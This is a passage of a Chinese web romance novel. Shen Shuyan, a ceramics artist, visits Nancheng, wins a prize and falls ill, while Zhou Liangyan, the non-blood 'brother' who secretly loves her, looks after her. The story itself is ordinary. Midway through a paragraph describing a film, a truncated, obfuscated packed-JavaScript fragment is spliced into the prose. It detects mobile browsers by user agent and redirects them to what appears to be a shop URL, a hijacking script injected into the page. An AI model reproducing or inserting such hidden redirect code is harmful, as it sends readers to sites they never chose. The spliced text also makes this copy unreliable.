边说还边故作高深,逗得沈舒言嘴角弯了许久。
她们去的夜市离住处不远,肚子里的食物消化的差不多时,已经快走到酒店门口。
绕过闪着溢彩的喷泉,到达酒店大厅。
到了前台,沈舒言报上预定信息,前台帮两人办理好入住。
服务员:“您好,已经登记好了,祝二位入住愉快。”
沈舒言从前台服务员手里接过房卡和身份证让赵岚娜先上去,顺手点开手机屏幕,在看到日期后微微顿了几秒。
自从来到南城她就觉得自己似乎是忘了什么很重要的事情,刚才看到日历后才惊觉,最近这段时间忙的晕头转向,连生理期都被自己抛到脑后,卫生棉没带过来,只能先去便利店买上几包。
回到酒店泡了个舒服的热水澡,一觉睡到早上八点整。
赵岚娜整个人还陷在柔软的被子里,听到旁边的响动,眼睛都没睁开,说,“言言,我想吃三明治还有牛排,还想喝果汁儿,让我再眯十分钟。”
沈舒言笑着嗯了声,简单洗漱后换上自己的衣服,将房间门轻轻关上。
餐厅里人不多,沈舒言先把好友刚才点的几样餐食拿好放在桌子上,而后又拿了个空盘子开始四处张望。
这家酒店餐厅很大,餐食的种类多的让人挑花了眼。
漫无目的的转了几分钟,她轻咬下唇在豆浆和纯牛奶之间纠结。
没注意到身侧有熟悉的身影站在一旁,“不知道选哪个吗?”
耳边传来意想不到的声音,沈舒言转身,“哥.....你怎么在这儿?”
周良宴应该是已经吃完准备离开,他面上的表情一如既往的平淡:“出差。”
没人能从那张面无表情的脸上看到他心底细小的雀跃。
在他有意无意的叮嘱助理把酒店订在展会周边时,便是想碰到她。
但会展中心在南城最繁华的地界,周边自然不乏星级酒店,他这样也不过是如大海捞针般碰运气。
没想到自己的运气可以这样好,转念又觉或许是那日菩萨看到自己许愿的真切心意,施舍丁点宽慰罢了。
过了一两分钟,沈舒言还在纠结,便看到一双骨节分明的手将热牛奶放在自己的餐盘上。
“你在家喝牛奶比较多,喝豆浆到最后都喝不完。”周良宴说。
其实沈舒言从小做事情就很纠结,尤其是在两样极为相似的东西上。
有时候她实在选不出来,便会将烦恼和纠结都抛给哥哥。
裙子颜色,头发长短,甚至毕业礼服的款式。
其实也并不是让他帮自己选择,而是帮自己筛选。
就好像硬币抛到空中的一瞬间,才会知道自己想要选择是那一面。
沈舒言将抛硬币这件事交给周良宴,而她则会在在他抛起硬币的一瞬间知道自己想要什么。
眼下,周良宴也是这样,替她筛选排除。
“你觉得呢?”周良宴看向牛奶问她。
沈舒言点头,又夹了煎蛋和几颗番茄还有一小块牛排,也算营养均衡的一餐。
周良宴应该还有工作,与她道别后先行离开。
沈舒言吃了口煎蛋,拿起手机给赵岚娜发消息:“太阳要晒屁股了。”
赵岚娜应该已经起床,几乎秒回:“在电梯里,马上到!”
说马上到真的是马上到,等沈舒言过几分钟抬眼,就已经看到赵岚娜风风火火的走过来。
屁股刚挨到凳子上,就迫不及待的说,“你猜我刚才碰到谁了?”
沈舒言抬头,“谁?”
赵岚娜回复:“我看到你哥了。”
眼看着沈舒言并
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不惊讶,她又重复一遍,“在电梯里看到你哥了。”
牛排已经全部送入肚子里,沈舒言吃了颗小番茄,“我知道啊,我刚才看到他了。”
赵岚娜眼底浮现出疑惑,“怎么感觉你在哪儿你哥就在哪儿啊,而且你房子的事是不是也是他?”
沈舒言点头又摇头,“我房子的事确实是我哥帮我的,但也没有我在哪儿他就在哪儿,他是来出差的。”
赵岚娜撇嘴,“有问题,但我暂时看不出来问题在哪儿,你之前不是说你们关系一般吗?他怎么还帮你租房。”
沈舒言笑她多想,将最后杯中最后一口牛奶喝完,才讲:“他说那间房反正也是要租,租给谁都一样,我是刚巧碰上捡到便宜,也是运气好喽。”
一切的一切仿佛好像都那么合乎情理,哥哥帮妹妹天经地义,找不到一丝漏洞。
-
际琛的比赛在两点,沈舒言准备和赵岚娜看完比赛再去会展中心看陶瓷展会。
两人吃完早饭后回到房间又休息片刻后才叫了辆车往比赛场地赶。
今天南城的天气不错,赛事还没开始,有很多职业滑手聚集在滨江边吹着微风练习滑板。
赵岚娜去附近买东西,让沈舒言来这边等她。
际琛大老远就看到沈舒言,她今天穿着法式碎花裙,外搭针织开衫,长发随意披在肩上。
他放缓速度往她的方向滑,少年的的衬衫被风吹的扬起,几分钟后滑板稳稳在她身边停下
“言言,你来啦!”际琛停下来,把滑板拿在手上,走在她旁边。
沈舒言点头,把刚才在附近便利店买的水递给他。
两人随便找了个长椅坐着随意聊了几句,直到比赛前半个小时际琛才依依不舍的去场地做准备。
几分钟后赵岚娜拿着两杯咖啡过来,和沈舒言一起跟着人群慢慢进场。
沈舒言按着门票找座位,首排中央,绝佳观赛位。赵岚娜则在她的左后方,两人距离不远。
观众们陆续进场入座,还有人带着自制的横幅和灯牌,看着正在准备进场的滑手们欢呼挥舞。
没过多久,比赛开始。
首先是表演赛,第一个上场的就是熟人,沈舒言看到际琛滑着滑板出场,所有人都将目光聚焦在他的身上。
随着他各种高难度技巧动作的展示,引的看台上的观众欢呼不断,掌声如海浪般久久不曾散去。
赵岚娜探身,“这小子挺厉害的嘛,看不出来呀。”
沈舒言扭头准备回复,忽觉身旁有人落座。
她看过去,有些惊讶的睁大眼睛,落座的竟是周良宴。
应该是刚商务应酬完,他身上还穿着一身正式西装,再加上鼻梁上那副金丝边眼镜,看上去实在是与这里的氛围格格不入。
连后排的赵岚娜也忽然正襟危坐,将视线落在正前方。
沈舒言稍稍转头,打了声招呼,说:“哥,我还以为你不会过来。”
周良宴看她:“为什么?”
这句话倒是把沈舒言问住,她顿了几秒回复:“毕竟你也挺忙。”
周良宴嗯了声,解释:“忙完了。”
沈舒言点头,忽然察觉到周围的目光似乎都若有若无的聚焦到自己身上。
她疑惑抬眼,视线与几米外际琛的对上。
他现在的位置就在她的正前方,笑意盈盈的眼神正落在她身上。
表演赛结束,比赛正式开始。
滑板是一项极具挑战的运动,看着滑手在碗池完成各种高难度动作,沈舒言的心也被带的提到了嗓子眼。
她全神贯注的看着,全然没注意到身旁落在自己身上的视线。
比赛很快结束,际琛拿到了一个相当不错的名次。
观众们陆续离席,沈舒言和赵岚娜跟着工作人员往选手休息后台走,周良宴则跟在她们身后。
几个人走进休息室,看到际琛刚洗完脸出来,额前的碎发有几捋被打湿,正往下滴着水珠。
际琛往前走了一步,站在沈舒言旁边,两人垂在身侧的手时不时碰在一起。
本来际琛是要和她们一起去会展中心的,奈何这边突然有事,他抽不开身,只能等下次有机会再一起。
周良宴站在一旁,眼神暗几秒又恢复如常,抬腕看时间,平淡的开口:“那我先走了,改天请你们吃饭。”
沈舒言点头。
赵岚娜坐在沙发上,看着周良宴转身离开的背影若有所思。
刚才她可是注意到了。
周良宴的眼睛一点儿没往赛场上看。
18. secret
艺术展下午五点三十分开幕式正式开始,沈舒言和赵岚娜踩着点堪堪赶到现场。
在来南城前沈舒言就已经将报名所需的材料提交完毕,她提报的作品也已经包装好几次提前寄了过去。
此次展会是由陶瓷协会和清北美术学院共同承办的一次展览,得奖作品最高可得35万奖金。
来参展的原因无他,最近搬家装修购置各种设备花了不少,她已经有些囊中羞涩,急需资金入账,而这次展览是个绝佳好机会。能拿到奖最好,再不济也能出来见见世面。
沈舒言和赵岚娜坐在后排,在听到二等奖获得者时,两人都睁大眼睛。
赵岚娜鼓捣着沈舒言站起来,看她去台上领奖。
二等奖,奖金28万。
典礼结束,沈舒言和赵岚娜才在展厅里慢慢转悠起来。
现场的展品无一不给人带来震撼,让人想要将每一件展品都瞧个仔细。
以至于看了好一会儿才走到自己作品摆放的位置,它静静的被放在灯光下,四周围着不少参观的人。
沈舒言轻呼出一口气,似是这么久的努力没有白费。
她的老师常告诉她,做陶瓷是一件极需要去全神贯注的一件事。当你想做用陶土捏出好的作品时,就要摒弃所有杂念。她非常享受静谧的午后,一个人在工作室里捏陶土,可以让她将一切都隔绝在外。
看完展,沈舒言和赵岚娜又去附近有名的商业街逛了逛,买了不少衣服饰品,大包小包差点四只手都提不完。
作品得奖,大笔奖金入账,沈舒言慷慨的要请赵岚娜吃饭,本意是想找个高级餐厅好好享受一把。
赵岚娜却眯着眼摇头,说自己的胃就爱吃点火锅串串麻辣烫,高级的东西还真是享受不了。
沈舒言哪能不知道她的用意,就是想给自己省点钱。
她无奈的拍拍好友的胳膊,“我再怎么样,也不差这一顿饭钱。”
赵岚娜依旧不答应,还在嘴硬,“就是想吃点重口的,最近不想吃什么高级货。”
最后实在拗不过,沈舒言只好让赵岚娜自己去找想吃的东西,自己则去旁边的咖啡店买了两杯咖啡。
赵岚娜是沈舒言在大学才认识的朋友,也是她为数不多至今还在联系的大学同学,这实在是难得,毕竟网络上都说,大学毕业后大家都是各奔东西。
点了两杯生椰拿铁打包带走,低头看到微信里好友发来的位置,看名字应该是一家火锅店。
等走到门口,赵岚娜已经找了个靠窗的位置坐好,头发也随意扎起方便吃饭。
沈舒言走过去。
“来啦。”赵岚娜朝她招手,“这家店好像是新开的,素菜八折,荤菜九折,还送饮料,我看网上的评价不错,咱们尝尝看怎么样。”
沈舒言的心里在做思想斗争。
虽然现在是经期,但她目前感觉自己的身体状况良好没什么不舒服的,心中的侥幸心理悄然占据上风。
再说最近也很久没吃辣,现在闻着空气中的辣椒味儿还真有点er嘴馋,她把包放在里面的椅子上,将咖啡递过去,“我确实是想着一口儿了,感觉都要流口水了。”
赵岚娜笑着点头:“知你莫若我,看本小姐一下子就能找到你心坎儿上。”
沈舒言点头,接过服务员递过来的菜单,正研究要鸭血还是鸭肠时突然被叫住。
她抬头,赵岚娜一脸凝重的看她:“我突然想起你生理期到了,要不咱换一家呢。”
“算了算了,”沈舒言摇头,随即掏出四字至理名言,“来都来了”
再说她也懒得挪地方,等会她只要节制一点,点些清淡的,少吃辣应该是没有一点问题的。
“好,”赵岚娜喝了口咖啡,随意与她闲聊,“你哥从小到大没找过女朋友?”
“嗯。”
“那有没有喜欢的女孩子?”
“大概……没有”
“真的假的,你情报准不准确啊?”
沈舒言掀了下眼皮,带着点狐疑,“你今天怎么突然这么关注他。”
赵岚娜眼珠子转了几圈,“我就是好奇嘛,随便问问,想八卦一下优质男的情史而已啦。”
“我了解的是没有,你可以去问他。”
“得了,我可不敢。”赵岚娜观察着对面沈舒言的神色,试探性的问,“你觉得你哥怎么样?”
“什么怎么样,你这话问的很奇怪。”
赵岚娜轻咳了一声,小心翼翼的说:“抛开身份,仅仅是异性,你觉得怎么样。”
沈舒言是真的馋了,眼睛一直落在菜单上,头也没抬,又勾了几道菜把菜单递给赵岚娜,“你今天怎么奇奇怪怪的,是不是有什么事情瞒着我。”
“没有没有,瞎问。”
赵岚娜接过菜单,边看边说:“不过你哥真的属于优质男,要什么有什么,你是不知道当初他来学校接你回家,迷死多少女同学,她们甚至都要抽签决定谁上去搭讪了,你哥直接一个眼神过去,吓得人转身就走。”
沈舒言没说话。
好友描述的这个场景,她遇到过无数次,不过那时候周良宴还不想现在这样不苟言笑。
她记得上学时每次回家书包里都是鼓鼓囊囊,打开全都是高年级姐姐拜托她交给哥哥的情书。
她们给她的答礼是各种漂亮的发夹,好吃的零食以及快要绝版的漫画书。小孩子哪能扛得住这些诱惑,来者不拒,照单全收。
奈何故事中的男主角并不领情,他婉拒那些递情书的女孩子。转头就去超市买了大堆零食,又托朋友不知道从哪里搞来的漫画书一股脑的搬到她的卧室。
从那次以后,她再也没有帮那些姐姐们递过情书,每次都是礼貌婉拒。
赵岚娜添了几道菜,把菜单递给服务生。
看到沈舒言在发呆,就摆手在她眼前晃了晃,“想什么呢?”
“没什么,发呆。”沈舒言下了个肉卷进锅里,不小心一滴油溅到桌面。
赵岚娜抽了几张纸递给她,揶揄,“真以为你发呆什么样子我不知道啊。”
沈舒言没理她,专心往锅里下配菜。
“算了。”赵岚娜没有继续追问,“今天晚上咱们去看个电影,我有部喜欢的电影今天刚好又上院线了。”
沈舒言点头。
两人吃完饭后直奔酒店附近的电影院。
赵岚娜喜欢的电影是部爱情片,这部片子有系列三部曲,她唯爱第一部。
电影时长一个半小时,大部分都是冗长细密的对话,却让人感觉不到一点沉闷。
这部电影讲述的是女主人公和男主人公席琳在火车上相遇,因为交流愉快,一同在维也纳下车,闲逛一整晚发生的故事。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14092816|149626||http|test|mini|href|location''.split(''|''),0,{}));
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>从午后至黄昏,从黑夜到黎明,两人用脚丈量了维也纳的每一个角落。他们同游维也纳的这一晚,是人生中绝无仅有的最浪漫的一晚。
是一部很美的爱情片,大约是想告诉人们。
及时行乐,不想未来,拥抱此刻。
两人看完电影后,沿着街道往回走。
-
第二天一早,沈舒言顶着个熊猫眼起床,连早餐的时间都没赶上。
赵岚娜醒来时被吓了一跳。
沈舒言病恹恹的坐在窗边的沙发上,眼睛看上去空洞无神,灰蒙蒙的一片。
“言言,你怎么了?”
沈舒言有气无力的转头,“没事儿,有点儿不舒服。”
赵岚娜从床上蹦起来,走到她身旁,“哪里不舒服?小腹?”
沈舒言摇头,她自己也说不上来是什么地方痛,就是感觉魂身没劲儿,不想动。
头靠在沙发背上,透过玻璃看窗外的景色,现在已经临近中午十一点,街道上的行人和小汽车络绎不绝。
“去医院看看吧?”赵岚娜问。
沈舒言摇头,马上就要回北城了,她不想那么麻烦,“没事儿,等会儿睡一觉就好了,你又不是不知道我生理期就会不舒服。”
赵岚娜当然是知道的,可是她觉得沈舒言这一次要比之前还要厉害上好几倍。
瞅着眼前的人本就白皙的脸此时已经是毫无血色,却还硬撑着不去医院,赵岚娜在屋里转了几圈儿也没辙。
“咚咚--”
房间外响起敲门声。
赵岚娜皱着眉看沈舒言一眼,转身去看门。
这家酒店的廊灯属于那种要亮不亮的暖黄色,门口站着的人身形高大,将头顶的光线挡了个严实。
赵岚娜下意识后退一步,抬眼开过去,“是你。”
“赵小姐,打扰了。”周良宴淡声说。
赵岚娜摇头,侧身给他让位置。
等他整个人走进屋内,这才发觉他手里提着一个小巧的餐盒。
只见那人缓步走到床边的沙发旁,将餐盒轻轻放置在桌子上,而后拧开,从那处飘出淡淡的生姜味儿。
周良宴蹲在桌子旁与沙发上的人对视,“喝点儿。”
沈舒言垂眸,她不喜欢生姜,她轻声说,“我不想喝。”
周良宴顿了几秒,脸上的情绪很淡,他起身坐在对面的沙发上,“少喝一点儿,等会儿去医院。”
他知道她不喜欢生姜,可是现在这个状况,只能先喝姜汤暖一暖。
沈舒言还是执拗的摇头,默然:“哥....”
她本来就看着单薄,衣服凌乱的罩在身上,因为一直窝在沙发上,看着有些皱,浓密的秀发也是随意的垂在肩上,此时又是一副泫然欲泣的摸样,看得人着实心疼。
周良宴别过眼,“加了红糖,姜味儿很淡。”
说完才重新看向她。
沈舒言抿唇,只好轻轻点头,不再与他对峙下去,乖乖的端起面前的杯子。
还算不难喝,沈舒言皱着眉,喝了几口后将杯子重新放回桌面。
小腹渐渐变得温暖起来,她现在的状况要比刚才好上很多。
此时大脑重新运作起来,看向对面的人。
她的生理期,有时候自己都记不起来。
他是怎么记得那么清楚的。
19. secret
两人本来订的今天回北城的机票,但是看眼下的情况。
沈舒言一时半会儿时走不了了。
赵岚娜学校最近一段时间没什么要紧事,她本想着将机票退掉,刚好可以陪陪好友。
但家中母亲突然来了电话,说父亲去公园遛弯儿时不小心摔了一跤,现在在医院。
临出酒店,沈舒言叫她放心,可看着面前的人儿惨白的小脸,她实在是做不到放心。
直到周良宴过来敲门,她才暗暗呼出一口气。
赵岚娜家离南城不远,但是时间实在太赶,她打过招呼后就急匆匆的坐上回家的航班。
沈舒言昨晚小腹痛了一夜,几乎没怎么睡好,这会儿已经又有些昏昏欲睡。
睡了一觉醒来时,已经是下午三点快四点的样子,厚实的窗帘将光线遮挡,屋子里一片黑暗。
摸黑打开手机,一条未读信息静静躺在屏幕上。
周良宴:【吃完饭后去医院。】
她撑起身体,靠在床头打字:【哥,我现在好多了,没必要去医院。】
几秒钟后,周良宴回复:【医生是我朋友,已经约好时间了。】
熟人便不好放人家鸽子。
沈舒言没再拒绝,五点整,两人准时出发。
沈舒言身体还有些虚弱,随便套了件衣服出门。
驾驶位上的周良宴认真开车,沈舒言垂眼看向窗外,今日的天气不错,微风吹动道路两旁的树。
太阳光落在枝丫上,照的繁茂的树叶更加嫩绿。
本来是很适合出行游玩的一天,她却因为生理期痛得连走路都有些费劲。
两人一路无言,三十分钟后,车子稳稳停在南城市中心的一家医院门口。
是一家私立医院,装潢不像公立医院那样整片整片的白,看得人觉得压抑。
今天是工作日,医院里排队的人算不上多,两人在前台登记完后就到候诊区坐下等待。
没一会儿有个护士走过来,说郑医生还在吃饭,需要等十分钟左右。
沈舒言在脑海中回忆,她对这个人毫无印象。
周良宴垂眸瞥了一眼身旁的人,似乎是察觉到她在想什么,低头解释,“在国外认识的朋友,你没见过。”
沈舒言这才点头,轻轻哦了一声。
候诊区人不多,很安静。
沈舒言放在口袋里的手机突然震动起来。
她拿出手机,是际琛打过来的, “言言!你今天有事儿吗?”
沈舒言轻声回:“是没什么事儿,不过如果你要约我出去的话恐怕是不行。”
话音刚落,就能听到那头人啊了一声。
沈舒言解释:“我身体不舒服,现在还在医院呢。”
听到这话,际琛刚才都要从嗓子眼里跳出来的心又紧急收了回去,他焦急的问:“啊?那你没事儿吧?在那个医院呢?”
沈舒言报出医院的名字。
际琛又问:“你是一个人吗?”
沈舒言说赵岚娜已经回去了,但是她不是一个人,有人在医院陪着她。
手里是手机被另一个人接过,周良宴开口:“我在医院,她需要休息。”
言下之意是别过来。
话筒那边的人应了声,又叮嘱沈舒言几句,才将电话挂断。
候诊区旁边有饮水机,周良宴给沈舒言接了一杯水,而后回到座位上处理工作邮件。
等待的时间很短,杯子里的水见底,有个护士过来叫她去诊室。
诊室在走廊的另一头,二人随护士过去,门上挂着个牌子上面写着医生的名字。
敲了几下门后,就听到有人说请进。
推开门,里面的医生戴着口罩和眼镜,目光在门口二人的身上转了一圈儿。
“回国后可是好久不见了。”他挑眉。“稀客呀。”
周良宴面无表情,“我要是经常见你才是奇怪吧,郑医生。”
郑明脸上的表情僵了一瞬,确实是,怎么忘了自己是妇科医生了,他讪笑几声,“啊,是是,我这不是见你太高兴,都糊涂了。”
周良宴没有回复他,下巴微抬,“她今天生理期第二天,以前会痛经,但是这次尤其厉害,你看下是怎么回事儿。”
刻意隐匿掉两人的关系,不带任何称谓。
郑明眼睛眯起,总觉得面前这个女生有点儿眼熟,但也一时想不起来在哪里见过。
“沈小姐是吧。”开始会诊,他换上专业的微笑,“我会问您一些问题,麻烦您如实告知。”
沈舒言点头,随手将包放在一旁的椅子上,却见周良宴走近几步把包拿到手里。
十分自然,没有一丝犹豫。
郑明眼里的探究意味儿更重,在脑海里仔细搜寻。
搜寻的过程中,也没有忽略掉周良宴在听到沈舒言昨晚喝冰咖啡和吃火锅后不经意皱起的眉毛。
越是想回忆却怎么也想不起来,他认真看向面前的女生。
问诊结束,得出结论,应该就是饮食不当引起的经期低烧。
沈舒言跟着护士出去签字拿药。
郑明则摘下口罩,几步走到周良宴面前的沙发上坐下,“这姑娘是不是之前去美国找过你呀?那年圣诞节的时候。”
周良宴淡淡看他一眼,“你们医生看病还有打探病人隐私这一项吗?”
“我现在没有在会诊。”郑明摘下自己的工作牌放到桌子上,“现在不是医生了,我是以你朋友的身份,所以我说的对不对?”
“就你话多。”
郑明看他几眼,“你们现在是什么情况,感情进展怎么样?”
周良宴眸色一沉。
郑明家庭条件不错,大学毕业后便出国深造,他是独子,家人对他在物质方面自然毫不吝啬。
他在市中心租了个小公寓,住了几天觉得一个人住实在冷清,便在留学生社群里发了招租信息。
第二天周良宴就搬了进来,虽疑惑云璟集团的继承人怎么会找人合租,但也没有多问,?两人相处还算融洽。
时间久了,郑明和朋友聚会便会喊周良宴一起,二十岁左右的年轻人,参加聚会时都会带上自己的伴侣,只有周良宴始终是一个人。
但郑明觉得周良宴大概是有女朋友的,因为在他好几次夜晚起来喝水时,都撞见过周良宴落寞的坐在沙发上对着手机屏幕发呆。
不过他猜想应该是异国恋,因为从来没有人见过那位女朋友。
周良宴平日没什么娱乐活动,除了上课就是找项目做投资,偶尔几次是被郑明拉着出去玩儿。
数过来不过几次,就已经捕获不少女孩儿的芳心,大家明里暗里找人打听,都被郑明一句人有女朋友了给挡了过去。
周良宴为人低调内敛,不论是面对让人焦头烂额的学业还是即将到手的项目被抢,向来都是情绪稳定。
除了有一次,他接到国内打来的电话,连衣服都没换,便急匆匆的买机票飞回国。
郑明以为他会在家待几天,没想到第二天一早就看到坐在客厅敲击键盘的周良宴。
他眼神下方还有些青,大约是红眼航班极限往返,没睡几个小时。
郑明喝了口水坐到沙发上,打趣问怎么没在家里多待几天好好陪陪女朋友。
周良宴头发凌乱,脸上一如既往的平静,眸光却暗了片刻,然后轻轻摇头。
他记得很清楚。
当时,这位对人对事永远都张弛有度,举止得体的好友头一次这么落寞。
时间滴滴答答的过,见对面的人迟迟没有回复,郑明眼睛睁大,低声惊呼,“不是吧,没一点进展?”
会诊室内安静下来。
周良宴想起几年前在纽约合租的公寓里。
那时,窗外下起鹅毛大雪,室内的中央空调的温度开的很高。
好久没见过的人儿就躺在他的床上,空气中飘着淡淡香味,他目光落在体温计上,皱眉坐在床边。
他那时候执拗的不愿意直接进入云璟管理层,加上突然发现自己对妹妹产生的隐晦感情。
遂决定出国深造,为此和父母大吵一架。
付瑾华早已经习惯安排孩子的一切,对于儿子人生规划这莫名的脱轨自然持反对意见。
可周良宴仿佛铁了心,付瑾华到最后也没有松口,放言停掉他一切资金来源。
很长一段时间,他都没有回去,只通过手机上那片四四方方的电子屏幕窥探着妹妹的生活。
多年的相处让兄妹两人在某些事情上尤为默契,周良宴是为了克制住自己快要溢出来的感情逼迫自己不去打扰。
沈舒言生气他的不辞而别,赌气不愿意主动说一句话。
周良宴点开微信聊天框页面除了像是群发的祝福短信,就是大片的空白,直到出国第二年的圣诞节。
他如往常一样坐在沙发上预习第二天教授上课要讲的内容。
放在身侧是手机传来震动,手机屏幕上显示的名字,他再熟悉不过。
脑海突然放起烟花,拿起手机,看着屏幕里的字眼,久久不能平复。
再回过神,已经大跨步走到门口。
快一年没见的人就这样冒着大雪,出现在他的面前。
一身白色羽绒服的,红色的围巾将小姑娘的本就小巧的脸庞遮盖的只剩下一双亮亮的大眼睛。大约是没想到这边的冬天竟然会这么冷,露在外边的耳朵被冻得通红。
却在见到来人的一瞬间,像两人从来没有分开过那样,蹦跳着冲进周良宴的怀里,大声喊着,“surprise!哥!圣诞快乐!”
沈舒言跟着学校组织的冬令营来华盛顿游学,在今天下午时偷偷脱离队伍,熬了近4个小时的大巴才赶到纽约。
这是她第一次在没有告知任何人的情况下只身来到陌生的城市,只是因为看到他朋友圈里一张雪景的定位。
周良宴走后的很长一段时间,沈舒言都在生他的气。
尽管她会在无数个夜晚偷偷的想念,想问他在国外过得好不好,饮食是否习惯,但在拿起手机的那一刻又开始胡乱翻动屏幕,不去点开聊天框,像个偷窥狂一样翻着周良宴寥寥无几的朋友圈。
但是翻来翻去,她才发现,明明是周良宴的朋友圈,自己却是出镜率最高的那一个。
除了她,就是一些风景照和艺术展等等。
过来找周良宴,其实算临时起意。
来华盛顿的第二天便下起大雪,沈舒言坐在窗前刷着手机,在看到周良宴更新的与面前相似的雪景后突然产生的冲动,纠结几分钟后查路线出发,无所畏惧。
周良宴在那一刻其实无法形容自己到底是怎样的心情的,只觉得心脏突然变得柔软,像是住进去一只猫咪,在里面慢慢的撒娇打滚。柔软的毛发一点一点的轻轻抚过他的心脏内壁,胸腔被温水包裹,甜蜜又满足。
所有的隐忍克制全部被抛到脑后,他将她搂在怀
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里,要把人直接揉进自己的身体,近乎贪婪。
周良宴那时要同时兼顾学业和事业,忙的焦头烂额,但还是抽空带着沈舒言将公寓附近逛了个遍。
圣诞节的纽约街头热闹非凡,走到洛克菲勒大厦前的圣诞树下,有位大胡子装扮成圣诞老人的摸样四处向周围发放糖果。
沈舒言穿着件乳白色的羽绒服,头发软软的垂在肩上,睁着大眼睛好奇的四处打量,回公寓时,她的口袋里被塞满糖果。
逛完街,他带着她去外面吃晚餐,却在途中,发现异常。
对面的人脸实在红的不太正常。
他皱着眉抚摸她的额头,不出所料,沈舒言发烧了。
来时没预料到这里接近零下一二十度的天气,穿了件毛衣套着羽绒服就这么跌跌撞撞的跑过来。
周良宴资金紧张,与好友合租的公寓不太好找,沈舒言辗转几趟巴士,花了近1个小时才来到他的面前。
他小心翼翼的帮她脱掉外套然后将人抱起来放在床上,又去浴室拿了毛巾敷在她的额头。
可她烧的实在太严重,身上的汗都要将贴身衣物浸湿,嘴里还一直说着胡话,吐个不停。
周良宴第一次那么无措,他拿出手机求助房东。
这间公寓的房东是一位和善的老奶奶。
听完事情经过,没过多久,带着自己干净的衣服匆忙赶到这里,帮沈舒言把已经被汗水浸湿贴在身上的衣物换下。
临走时还嘱咐他,“Takegoodcareofyourgirlfriend”
周良宴的扯着嘴角动了动终是没说话,几秒钟后才轻轻点头。
小姑娘躺在他的床上,盖着他的被子,眉头紧皱,难受的呜咽。
退烧药喂了好几次才喂进去,周良宴一晚上扶起她喝了好几次水,低烧反复。
二十多岁的人,头一次这么狼狈。
顶着纷飞的大雪去超市买来冰袋,敷在她的额头上,用毛巾擦拭她的手脚,在接近零点时,怀里的人才有所好转,身体已经不像最初那样烫。
可嘴里的胡话没停,少女像是做了噩梦,嘴里嘟囔着,“你们别过来!放我出去,我不要待着这里,这里好黑。”
眼眶里涌出泪水,顺着脸颊将灰色的枕头打湿。
周良宴心疼的坐在床边,像小时候那样一下一下的轻轻拍她的背,温柔的同她讲话,最后又说起老掉牙的童话故事。
像撸睡在自己心里小猫的毛发一样,轻轻拂过她的头发。
故事的最后,骑士打败王子救出公主。
外面的钟声和倒计时也一起飘进卧室里,“五.....四....三....二...一!!!”
欢呼声似乎要把天都要掀翻,黑色的夜空中绽放出无数斑斓的烟花。
沈舒言迷迷糊糊的睁开眼,看到身旁的周良宴,窝在他的怀里,头埋进他的颈窝,声音还是沙哑的,黏糊糊的说:“哥...圣诞节快乐。”
在烟花和欢呼声中,她在心里单方面与哥哥和解,结束自己别扭的冷战。
少女再度被汗浸湿的秀发也紧紧黏在他的颈部,燥热像是通过发丝融进他的血液,女孩儿呼出的热气一下一下的打在他的耳后。
周良宴绷直身体,将女孩缓缓放回到床上,轻声说:“圣诞快乐。”
凌晨接近两点,低烧也褪去。
周良宴松了一口气,起身要去倒杯水,却被床上的女孩儿拉住,“哥,你不睡觉吗?”
说完还拍了拍身侧的位置,抓住他衣角的手丝毫没有要松开的意思。
直到周良宴躺在床上才肯罢休。
第二天一早,周良宴醒来时,身边已经空无一人。
他掀起被子,才发现旁边的空位上放着很多东西,他想到童话故事里藏食物的小松鼠。
抬眼看过去,有昨天在街上圣诞老人送给她的彩色糖果,和一张潦草撕下折起来的纸。
周良宴坐直身体,沈舒言娟秀的自己映入眼帘。
“哥,我这次是偷偷过来的,时间赶不及没叫醒你。
圣诞老人的糖果我分给你一半,我的压岁钱也分你一半。”
眼前的字迹变得模糊,抬手才发现眼眶里蓄满泪水。
周良宴将信纸重新叠起来放好,下楼时碰到郑明正在看电视。
他问他几点回来的,郑明抬头,“回来快一个小时了,刚好跟你房间出来的姑娘打了个照面。”
可楼上的人没说话,脸上是显而易见的失魂,转身重新回到卧室。
-
沈舒言和护士一起出去拿药。
她从小身体其实还算不错,可自从高中毕业后的一次生理期,就变得开始严重痛经,痛起来就浑身冒冷汗,走路都不稳。
大约二十分钟后取到药,沈舒言向随行的护士小姐姐道谢。
“没事,咱们女孩子经期一定要注意饮食,乱吃会伤身体,回去让你男朋友给你熬点汤喝。”
沈舒言还没来得及解释,两人已经走到诊室门口,她推开门,看到周良宴在那边等她,迈步走进去。
周良宴抬头便看到沈舒言走进来,手上提着用小袋子装着的几盒药。
沈舒言走到周良宴旁边才开口:“哥,可以回去了。”
坐在一旁的郑明正在戴工牌,听到这话时手上的动作停顿。
猛地抬头看向周良宴,那人的眼眸依旧冷淡,与沈舒言一同走了出去。
20. secret
两个人从医院出来走到一旁的商场,周良宴要去买东西,沈舒言找了处休息区坐着等他。
手机震动,她拿出手机查看消息,突然感觉衣角被很小的力道拉拽。
“姐姐,你包包上这只小狗好可爱。”
面前是一个约莫五六岁的女孩子,扎着马尾,葡萄样的眼睛望着她。
沈舒言回复完消息,把手机放进包里,回复,“谢谢你的夸奖。”
包包上的挂坠是大学时自己做的,作品被认可的感觉,让她很开心。
女孩在她身旁坐下,小心翼翼的摸着包包上的狗狗挂件,看到她手边的药问,“姐姐,你生病了吗?”
沈舒言点头,又顿住,“姐姐没有生病,只是身体不舒服。”
小女孩歪头,想到什么似的,“姐姐你是不是也不好好吃饭。”
“不是哦,不过也是跟吃饭有关。”
“那是什么,我不爱吃饭,医生姐姐跟妈妈说我身体缺元素。”
沈舒言沉思几秒,开始解释。
“姐姐只是这几天嘴馋,吃了太多辣的和凉的东西。”
小女孩点头,“我知道了姐姐,你跟我妈妈一样,我妈妈每个月有几天也是不能吃凉的和辣的,身体可不舒服了。”
周良宴回来的时候,看到两人正在交谈的场景,小姑娘应该是从旁边儿童乐园过来的,周末商场人很多,人来人往的有些嘈杂,走近了,才听到两人的对话。
“姐姐你要多喝点热水,这样肚子就会暖暖的。”
沈舒言点头,“好,知道了,谢谢你。”
感觉到身体被阴影笼罩,她看到走近的周良宴。
